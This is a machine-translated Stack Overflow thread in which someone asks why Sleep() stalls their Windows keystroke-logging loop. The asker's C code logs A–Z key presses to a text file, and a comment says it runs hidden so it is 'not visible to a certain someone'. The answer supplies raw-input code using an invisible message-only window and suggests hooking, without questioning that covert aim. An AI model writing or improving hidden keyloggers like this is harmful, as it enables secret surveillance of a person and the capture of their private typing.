为啥 Sleep() 函数会阻止整个循环工作?

Posted

技术标签:

【中文标题】为啥 Sleep() 函数会阻止整个循环工作?【英文标题】:Why does the Sleep() function prevent the entire loop from working?为什么 Sleep() 函数会阻止整个循环工作? 【发布时间】:2021-08-12 14:43:29 【问题描述】:

我们的目标是创建一个记录击键并将其写入文本文件的程序。目前,只需轻按一个键就会写入该键一百次,所以我试图放慢速度。

但是,使用 Sleep() 将阻止整个代码执行任何操作,除非我使用 Sleep(0)(据我了解,这意味着“不要让较低优先级的线程运行”)。

代码:

// Subconsole is Windows so the running app is not visible to a certain someone
int __stdcall WinMain(_In_ HINSTANCE hinstance, _In_opt_ HINSTANCE hprevinstance, _In_ LPSTR lpcmdline, _In_ int ncmdshow)
   
    FILE* write;
    char running = 1;
    fopen_s(&write, "typelog.txt", "w");

    while (running)
    
        _Bool keytoggle;
        char key;

        // Go from A to Z and see if the key for that was pressed
        for (int i = 0x41; i < 0x5A; i++)
        
            // Is the highest order bit for GetAsyncKeyState a 1 (is the key down)
            keytoggle = (GetAsyncKeyState(i) & (1 << 15)) != 0;

            if (keytoggle)
            
                key = i;    // save the key that was pressed
                break;
            
        


        // If the key was pressed, write it, otherwise write a space

        if (keytoggle)
        
            if (write)
                fprintf(write, "%c", key);
        

        else
        
            if (write)
                fprintf(write, " ");
        


        // Sleep for like, just one millisecond please

        Sleep(1);
    


    return 0;

听说使用Sleep,即使是1ms,由于系统定时器的原因,也可以延长到20ms。是这样吗?就算是,为什么代码根本不执行?

我搜索了一个小时左右,一无所获。如果你能帮忙就太好了。

【问题讨论】:

为此存在WH_KEYBOARD_LL Sleep(0) 的意思是“我可以放弃我的时间片并让上下文切换到其他进程”。 为什么你使用 Sleep()?如果你不能回答这个问题,那么不要使用 Sleep()。 @AsafItach: Sleep 不是 sleep 使用MsgWaitForMultipleObjects 等待键盘上读取的内容,然后使用ReadConsoleInput 了解发生了什么。 当然,如果您不介意在按下某个键之前阻止您的程序,请仅使用ReadConsoleInput,这与 getch() 非常相似,但会返回更详细的信息(向上键、向下键、ctrl , shift, alt, 不同的小键盘值, 功能键,...)。 【参考方案1】:

通过调试,问题是您的 txt 句柄在调用 Sleep(1)没有关闭。您可以使用Message-Only Windows 和Raw Input 来实现您的目标。例如:

BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)

   hInst = hInstance; // Store instance handle in our global variable

   HWND hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
      CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, HWND_MESSAGE, nullptr, hInstance, nullptr);

   if (!hWnd)
   
      return FALSE;
   

   ShowWindow(hWnd, nCmdShow);
   UpdateWindow(hWnd);
   RawInput(hWnd);
   return TRUE;

#define BUFFER 512
HRESULT ShowRawInputInfo(LPARAM lParam)

    UINT dwSize = 0;
    HRESULT hResult;

    GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
    LPBYTE lpb = new BYTE[dwSize];
    if (lpb == NULL)
    
        return 0;
    

    if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)
        OutputDebugString(TEXT("GetRawInputData does not return correct size !\n"));

    RAWINPUT* raw = (RAWINPUT*)lpb;
    WCHAR szTempOutput[BUFFER];
    if (raw->header.dwType == RIM_TYPEKEYBOARD)
    
        hResult = StringCchPrintf(szTempOutput, BUFFER,
            TEXT(" Kbd: make=%04x Flags:%04x Reserved:%04x ExtraInformation:%08x, msg=%04x VK=%04x \n"),
            raw->data.keyboard.MakeCode,
            raw->data.keyboard.Flags,
            raw->data.keyboard.Reserved,
            raw->data.keyboard.ExtraInformation,
            raw->data.keyboard.Message,
            raw->data.keyboard.VKey);
        if (FAILED(hResult))
        
            // TODO: write error handler
        
        OutputDebugString(szTempOutput);
    
    else if (raw->header.dwType == RIM_TYPEMOUSE)
    
        hResult = StringCchPrintf(szTempOutput, BUFFER,
            TEXT("Mouse: usFlags=%04x ulButtons=%04x usButtonFlags=%04x usButtonData=%04x ulRawButtons=%04x lLastX=%04x lLastY=%04x ulExtraInformation=%04x\r\n"),
            raw->data.mouse.usFlags,
            raw->data.mouse.ulButtons,
            raw->data.mouse.usButtonFlags,
            raw->data.mouse.usButtonData,
            raw->data.mouse.ulRawButtons,
            raw->data.mouse.lLastX,
            raw->data.mouse.lLastY,
            raw->data.mouse.ulExtraInformation);

        if (FAILED(hResult))
        
            // TODO: write error handler
        
        OutputDebugString(szTempOutput);
    

    delete[] lpb;
    return 0;

//
//  FUNCTION: WndProc(HWND, UINT, WPARAM, LPARAM)
//
//  PURPOSE: Processes messages for the main window.
//
//  WM_COMMAND  - process the application menu
//  WM_PAINT    - Paint the main window
//  WM_DESTROY  - post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)

    DWORD dwStyleOfStaticText = 0;
    HWND hBmp2 = NULL;
    WORD reason = 0;
    switch (message)
    
    case WM_INPUT:
    
        ShowRawInputInfo(lParam);
        break;
    
    case WM_KEYDOWN:
        WCHAR szTempOutput[512];
            StringCchPrintf(szTempOutput, 512,
                TEXT(" KeyValue=%04x\n"), wParam);
        OutputDebugString(szTempOutput);
        //PostMessage(hWnd, WM_COMMAND, KILLTHEWIN, 0);// hope it serializes message
        //PostQuitMessage(0);
        break;
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    
    return 0;

编辑:或挂钩

【讨论】:

谢谢,我忘了Sleep() 会干扰已经写入文件的数据。由于您的解决方案使用了一个窗口(我已经避免使用)和几个我不熟悉的功能,所以我现在的基本解决方案是每次写入文件时打开和关闭文件。谢谢。

以上是关于为啥 Sleep() 函数会阻止整个循环工作?的主要内容,如果未能解决你的问题,请参考以下文章

为啥 Django-Summernote 会阻止 prepopulated_fields 工作?

Python 3:超过 100 个索引的列表在索引 47 之后循环。为啥?我该如何阻止这个?

为啥 Spring SAML 会阻止 Spring OAuth2 工作?

PHP:为啥用括号括起来的函数调用会阻止“通过引用”通知? [复制]

为啥 os.path.exists() 会阻止 Windows 命名管道连接?

为啥jQuery会阻止propper 301重定向?